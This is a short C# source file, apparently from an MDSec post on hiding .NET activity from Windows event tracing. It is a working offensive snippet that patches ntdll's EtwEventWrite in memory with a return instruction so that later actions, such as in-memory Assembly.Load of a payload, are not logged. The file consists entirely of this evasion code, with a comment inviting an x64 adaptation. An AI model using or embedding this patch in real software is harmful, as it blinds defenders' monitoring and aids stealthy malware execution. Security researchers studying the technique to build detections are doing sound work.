source: https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/

dotnet_unhook_etw.cs

using System;
using System.Reflection;
using System.Runtime.InteropServices;

namespace test
{
    class Win32
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);

        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
    }

    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("ETW Unhook Example @_xpn_");

            // Used for x86, I'll let you patch for x64 ;)
            PatchEtw(new byte[] { 0xc2, 0x14, 0x00 });

            Console.WriteLine("ETW Now Unhooked, further calls or Assembly.Load will not be logged");
            Console.ReadLine();
            //Assembly.Load(new byte[] { });
        }

        private static void PatchEtw(byte[] patch)
        {
            try
            {
                uint oldProtect;

                var ntdll = Win32.LoadLibrary("ntdll.dll");
                var etwEventSend =   Win32.GetProcAddress(ntdll, "EtwEventWrite");

                Win32.VirtualProtect(etwEventSend, (UIntPtr)patch.Length, 0x40, out oldProtect);
                Marshal.Copy(patch, 0, etwEventSend, patch.Length);
            }
            catch
            {
                Console.WriteLine("Error unhooking ETW");
            }
        }
    }
}